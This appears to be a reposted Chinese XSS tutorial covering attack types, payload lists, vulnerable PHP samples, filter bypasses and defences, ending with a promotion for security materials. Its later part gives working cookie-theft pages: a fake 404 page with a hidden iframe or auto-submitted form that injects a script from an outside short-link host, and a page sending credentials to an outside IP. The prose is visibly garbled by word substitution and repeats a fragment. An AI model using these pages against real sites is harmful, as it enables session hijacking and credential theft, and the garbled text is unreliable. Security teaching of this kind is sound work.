首页 » 网站建设 » valuephpechoname技巧_全网最具体XSS跨站脚本进击不是过来打去世我

valuephpechoname技巧_全网最具体XSS跨站脚本进击不是过来打去世我

访客 2024-12-15 0

扫一扫用手机浏览

文章目录 [+]

存储型XSS:存储型XSS,持久化,代码是存储在做事器中的,如在个人信息或揭橥文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到做事器中,用户访问该页面的时候触发代码实行。
这种XSS比较危险,随意马虎造成蠕虫,盗窃cookie反射型XSS:非持久化,须要欺骗用户自己去点击链接才能触发XSS代码(做事器中没有这样的页面和内容),一样平常随意马虎涌如今搜索页面。
反射型XSS大多数是用来盗取用户的Cookie信息。
DOM型XSS:不经由后端,DOM-XSS漏洞是基于文档工具模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去掌握触发的,实在也属于反射型XSS。
DOM的详解:DOM文档工具模型

可能触发DOM型XSS的属性

valuephpechoname技巧_全网最具体XSS跨站脚本进击不是过来打去世我

document.refererwindow.namelocationinnerHTMLdocumen.write

如图,我们在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法得到URL中参数的值,再通过DOM方法赋值给选择列表,该过程没有经由后端,完备是在前端完成的。
以是,我们就可以在我们输入的参数上做手脚了。

valuephpechoname技巧_全网最具体XSS跨站脚本进击不是过来打去世我
(图片来自网络侵删)

XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script//

<script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

<script>alert("hack")</script> #弹出hack<script>alert(/hack/)</script> #弹出hack<script>alert(1)</script> #弹出1,对付数字可以不用引号<script>alert(document.cookie)</script> #弹出cookie<script src=http://xxx.com/xss.js></script> #引用外部的xss

svg标签

<svg onload="alert(1)"><svg onload="alert(1)"//

<img>标签:

<img src=1 οnerrοr=alert("hack")><img src=1 οnerrοr=alert(document.cookie)> #弹出cookie

<body>标签:

<body οnlοad=alert(1)><body οnpageshοw=alert(1)>

video标签:

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

style标签:

<style οnlοad=alert(1)></style>XSS可以插在哪里? 用户输入作为script标签内容用户输入作为HTML注释内容用户输入作为HTML标签的属性名用户输入作为HTML标签的属性值用户输入作为HTML标签的名字直接插入到CSS里最主要的是,千万不要引入任何不可信的第三方JavaScript到页面里!

#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过<!-- 用户输入 --><!-- --><script>alert('hack')</script><!-- -->#用户输入作为标签属性名,导致攻击者可以进行闭合绕过<div 用户输入="xx"> </div><div ></div><script>alert('hack')</script><div a="xx"> </div>#用户输入作为标签属性值,导致攻击者可以进行闭合绕过<div id="用户输入"></div><div id=""></div><script>alert('hack')</script><div a="x"></div>#用户输入作为标署名,导致攻击者可以进行闭合绕过<用户输入 id="xx" /><><script>alert('hack')</script><b id="xx" />#用户输入作为CSS内容,导致攻击者可以进行闭合绕过<style>用户输入<style><style> </style><script>alert('hack')</script><style> </style>XSS漏洞的挖掘

黑盒测试

尽可能找到统统用户可控并且能够输出在页面代码中的地方,比如下面这些:

URL的每一个参数URL本身表单搜索框

常见业务场景

重灾区:评论区、留言区、个人信息、订单信息等针对型:站内信、网页即时通讯、私信、见地反馈存在风险:搜索框、当前目录、图片属性等

白盒测试(代码审计)

关于XSS的代码审计紧张便是从吸收参数的地方和一些关键词入手。

PHP中常见的吸收参数的办法有$_GET、$_POST、$_REQUEST等等,可以搜索所有吸收参数的地方。
然后对吸收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能掌握,如果从数据库中取的,是否能掌握存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对吸收参数封装在公共文件的函数中统一调用,我们就须要审计这些公共函数看有没有过滤,能否绕过等等。

同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

XSS的攻击过程

反射型XSS漏洞:

Alice常常浏览某个网站,此网站为Bob所拥有。
Bob的站点须要Alice利用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息)。
Tom 创造 Bob的站点存在反射性的XSS漏洞Tom 利用Bob网站的反射型XSS漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使Alice点击Alice在登录到Bob的站点后,浏览了 Tom 供应的恶意链接嵌入到恶意链接中的恶意脚本在Alice的浏览器中实行。
此脚本盗窃敏感信息(cookie、帐号信息等信息)。
然后在Alice完备不知情的情形下将这些信息发送给 Tom。
Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做掌握并进一步利用漏洞掌握

存储型XSS漏洞:

Bob拥有一个Web站点,该站点许可用户发布信息/浏览已发布的信息。
Tom检测到Bob的站点存在存储型的XSS漏洞。
Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的做事器的数据库中,然后吸引其它用户来阅读该热点信息。
Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会实行。
Tom的恶意脚本实行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击XSS漏洞的危害

从以上我们可以知道,存储型的XSS危害最大。
由于他存储在做事器端,以是不须要我们和被攻击者有任何打仗,只要被攻击者访问了该页面就会遭受攻击。
而反射型和DOM型的XSS则须要我们去诱利用户点击我们布局的恶意的URL,须要我们和用户有直接或者间接的打仗,比如利用社会工程学或者利用在其他网页挂马的办法。

那么,利用XSS漏洞可以干什么呢?

如果我们的JS水平一样平常的话,我们可以利用网上免费的XSS平台来布局代码履行攻击。

XSS漏洞的大略攻击测试反射型XSS:

先放出源代码

//前端 1.html:<html><head lang="en"> <meta charset="UTF-8"> <title>反射型XSS</title></head><body> <form action="action.php" method="post"> <input type="text" name="name" /> <input type="submit" value="提交"> </form></body></html>//后端 action.php:<?php $name=$_POST["name"]; echo $name;?>

这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

以是,我们可以在输入框中提交数据: <script>alert('hack')</script> ,看看会有什么反应

页面直接弹出了hack的页面,可以看到,我们插入的语句已经被页面给实行了。
这便是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端-->后端-->前端

存储型XSS:

先给出源代码

//前端:2.html<html><head lang="en"> <meta charset="UTF-8"> <title>存储型XSS</title></head><body> <form action="action2.php" method="post"> 输入你的ID: <input type="text" name="id" /> <br/> 输入你的Name:<input type="text" name="name" /> <br/> <input type="submit" value="提交"> </form></body></html>//后端:action2.php<?php$id=$_POST["id"];$name=$_POST["name"];mysql_connect("localhost","root","root");mysql_select_db("test");$sql="insert into xss value ($id,'$name')";$result=mysql_query($sql);?>//供其他用户访问页面:show2.php<?phpmysql_connect("localhost","root","root");mysql_select_db("test");$sql="select from xss where id=1";$result=mysql_query($sql);while($row=mysql_fetch_array($result)){echo $row['name'];}?>

这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中。
然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS代码就被实行了。

我们输入 1 和 <script>alert(\'hack\')</script> ,把稳,这里的hack的单引号要进行转义,由于sql语句中的$name是单引号的,以是这里不转义的话就会闭合sql语句中的单引号。
不然注入不进去。
提交了之后,我们看看数据库

DOM型XSS:

先放上源代码

// 前端3.html<html><head lang="en"> <meta charset="UTF-8"> <title>DOM型XSS</title></head><body> <form action="action3.php" method="post"> <input type="text" name="name" /> <input type="submit" value="提交"> </form></body></html>// 后端action3.php<?php $name=$_POST["name"];?><input id="text" type="text" value="<?php echo $name; ?>"/><div id="print"></div><script type="text/javascript"> var text=document.getElementById("text"); var print=document.getElementById("print"); print.innerHTML=text.value; // 获取 text的值,并且输出在print内。
这里是导致xss的紧张缘故原由。
</script>

这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

我们可以输入 <img src=1 οnerrοr=alert('hack')> ,然后看看页面的变革

页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给实行了。
这便是DOM型XSS漏洞,这种漏洞数据流向是: 前端-->浏览器

XSS的大略过滤和绕过

前面讲sql注入的时候,我们讲过程序猿对付sql注入的一些过滤,利用一些函数(如:preg_replace()),将组成sql语句的一些字符给过滤,以防止注入。
那么,程序猿也可以用一些函数将构成xss代码的一些关键字符给过滤了。
可是,道高一尺魔高一丈,虽然过滤了,但是还是可以进行过滤绕过,以达到XSS攻击的目的。

一:区分大小写过滤标签

先放上源代码

//前端 1.html:<html><head lang="en"> <meta charset="UTF-8"> <title>反射型XSS</title></head><body> <form action="action4.php" method="post"> <input type="text" name="name" /> <input type="submit" value="提交"> </form></body></html>//后端 action4.php:<?php$name=$_POST["name"]; if($name!=null){$name=preg_replace("/<script>/","",$name); //过滤<script>$name=preg_replace("/<\/script>/","",$name); //过滤</script>echo $name; }?>

绕过技巧:可以利用大小写绕过 <scripT>alert('hack')</scripT>

二:不区分大小写过滤标签

先放上源代码

这个和上面的代码千篇一律,只不过是过滤的时候多加了一个 i ,以不区分大小写

$name=preg_replace("/<script>/i","",$name); //不区分大小写过滤 <script>$name=preg_replace("/<\/script>/i","",$name); //不区分大小写过滤 </script>

绕过技巧:可以利用嵌套的script标签绕过 <scr<script>ipt>alert('hack')</scr</script>ipt>

三:不区分大小写,过滤之间的所有内容

先放上源代码

这个和上面的代码千篇一律,只不过是过滤的时候过滤条件发生了变革

$name = preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $_GET[ 'name' ] ); //过滤了<script 及其之间的所有内容

虽然无法利用<script>标签注入XSS代码,但是可以通过img、body等标签的事宜或者 iframe 等标签的 src 注入恶意的 js 代码。

payload: <img src=1 οnerrοr=alert('hack')>

我们可以输入 <img src=1 οnerrοr=alert('hack')> ,然后看看页面的变革

XSS的防御

XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。
也便是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本实行的干系内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中实行。

对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。
黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。
白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一样平常是不能进行如此严格的白名单过滤的。

对输出进行html编码,便是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

如下,是利用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

#利用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体$name = htmlspecialchars( $_GET[ 'name' ] );

如下,图一是没有进行html编码的,图2是进行了html编码的。
经由html编码后script标签被当成了html实体。

我们还可以做事端设置会话Cookie的HTTP Only属性,这样,客户真个JS脚本就不能获取Cookie信息了

反射型XSS的利用姿势

我们现在创造一个网站存在反射型XSS,当用户登录该网站时,我们通过诱利用户点击我们精心制作的恶意链接,来盗取用户的Cookie并且发送给我们,然后我们再利用盗取的Cookie以用户的身份登录该用户的网站。

get型

当我们输入参数的要求类型的get类型的,即我们输入的参数因此URL参数的形式。
如下图

该链接的为:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>

那么,我们要怎么布局恶意代码来诱利用户点击并且用户点击后不会创造点击了恶意链接呢?

我们布局了如下代码,将其保存为html页面,然后放到我们自己的做事器上,做成一个链接。
当用户登录了存在漏洞的网站,并且用户点击了我们布局的恶意链接时,该链接页面会偷偷打开iframe框架,iframe会访问个中的链接,然后实行我们的js代码。
该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会创造打开的是一个404的页面!

<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <title>404 页面不存在 </title> <style type="text/css"> body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;} .error-page{background:#f0f1f3;padding:80px 0 180px} .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px} .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0} .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px} </style></head><body><iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe><div class="error-page"> <div class="error-page-container"> <div class="error-page-main"> <h3> <strong>404</strong>很抱歉,您要访问的页面不存在!
</h3> </div> </div></div></body></html>

而我们的XSS平台将得到用户的Cookie,然后我们就可以利用得到的Cookie以用户的身份访问该网站了。

注:我们的攻击代码可以利用的条件是存在XSS漏洞的网站的X-Frame-options未配置,并且会话Cookie没有设置Http Only属性

post型

我们现在知道一个网站的用户名输入框存在反射型的XSS漏洞

我们抓包查看

我们布局了如下代码,将其保存为html页面,然后放到我们自己的做事器上,做成一个链接。
当用户登录了存在漏洞的网站,并且用户点击了我们布局的恶意链接时,该恶意链接的页面加载完后会实行js代码,完成表单的提交,表单的用户名参数是我们的恶意js代码。
提交完该表单后,该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会创造打开的是一个404的页面。

我们这里写了一个404页面,404页面中隐蔽了一个form提交的表单,为了防止提交表单后跳转,我们在表单下加了一个iframe框架,并且iframe框架的name即是form表单的target,并且我们设置iframe框架为不可见。

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <title>404 页面不存在 </title> <style type="text/css"> body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;} .error-page{background:#f0f1f3;padding:80px 0 180px} .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px} .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0} .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px} </style> <script type="text/javascript"> function attack() { document.getElementById("transfer").submit(); } </script></head><body><iframe src="form.html" frameborder="0" style="display: none"></iframe><div class="error-page"> <div class="error-page-container"> <div class="error-page-main"> <h3> <strong>404</strong>很抱歉,您要访问的页面不存在!
</h3> </div> </div> <form method="POST" id="transfer" action="http://127.0.0.1/xss/action.php" target="frameName"> <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>"> <input type="hidden" name="password" value="1"> </form> <iframe src="" frameborder="0" name="frameName" style="display: none"></iframe></div></body></html>

当用户点击了我们布局的恶意链接,创造打开的是一个404页面。
实际上这个页面静静的进行了表单的提交。

而我们的XSS平台也收到了发送来的数据(这数据中没有Cookie的缘故原由是这个网站我没设置Cookie,只是随便写的一个页面)。

利用JS将用户信息发送给后台

<!DOCTYPE html><html><head lang="en"> <meta charset="UTF-8"> <title></title> <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script> <script> $(function(){ //我们现在如果 user和pass是我们利用js得到的用户的用户名和密码 user="admin"; pass="root"; url="http://120.79.74.249:8080/?user="+user+"&pass="+pass; var frame=$("<iframe>"); frame.attr("src",url); frame.attr("style","display:none"); $("#body").append(frame); //添加一个iframe框架,并设置不显示。
这个框架会偷偷访问该链接。
}); </script></head><body id="body"> <h3>hello,word!</h3></body></html>

当用户访问了该页面,我们后台就可以看到用户访问记录。

t></head><body id="body"> <h3>hello,word!</h3></body></html>

当用户访问了该页面,我们后台就可以看到用户访问记录。

末了,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货紧张有:

①2000多本网安必看电子书(主流和经典的书本该当都有了)

②PHP标准库资料(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ 网络安全根本入门、Linux运维,web安全、渗透测试方面的视频(适宜小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ 渗透测试工具大全

⑦ 2021网络安全/Web安全/渗透测试工程师口试手册大全

由于篇幅有限,资料都放在我的个人文档,须要的关注我:私信回答“资料”获取网络安全口试资料、源码、条记、视频架构技能

末了,感谢您的关注和阅读!

标签:

相关文章

介绍域名盗取之谜,防范之路与应对步骤

在互联网高速发展的今天,域名作为企业的网络标识,其重要性不言而喻。域名盗取事件频发,给企业带来了巨大的经济损失和信誉风险。本文将揭...

网站建设 2024-12-17 阅读0 评论0

介绍咖秀,如何玩转这款时尚社交平台

随着互联网技术的飞速发展,社交平台层出不穷,为广大用户提供了丰富多彩的社交体验。咖秀作为一款时尚、潮流的社交软件,凭借其独特的功能...

网站建设 2024-12-17 阅读0 评论0

介绍大数据底层架构,构建智能时代的基石

随着互联网技术的飞速发展,大数据已成为我国经济发展的重要驱动力。在智能时代,大数据底层架构作为支撑整个数据生态系统的基石,其重要性...

网站建设 2024-12-17 阅读0 评论0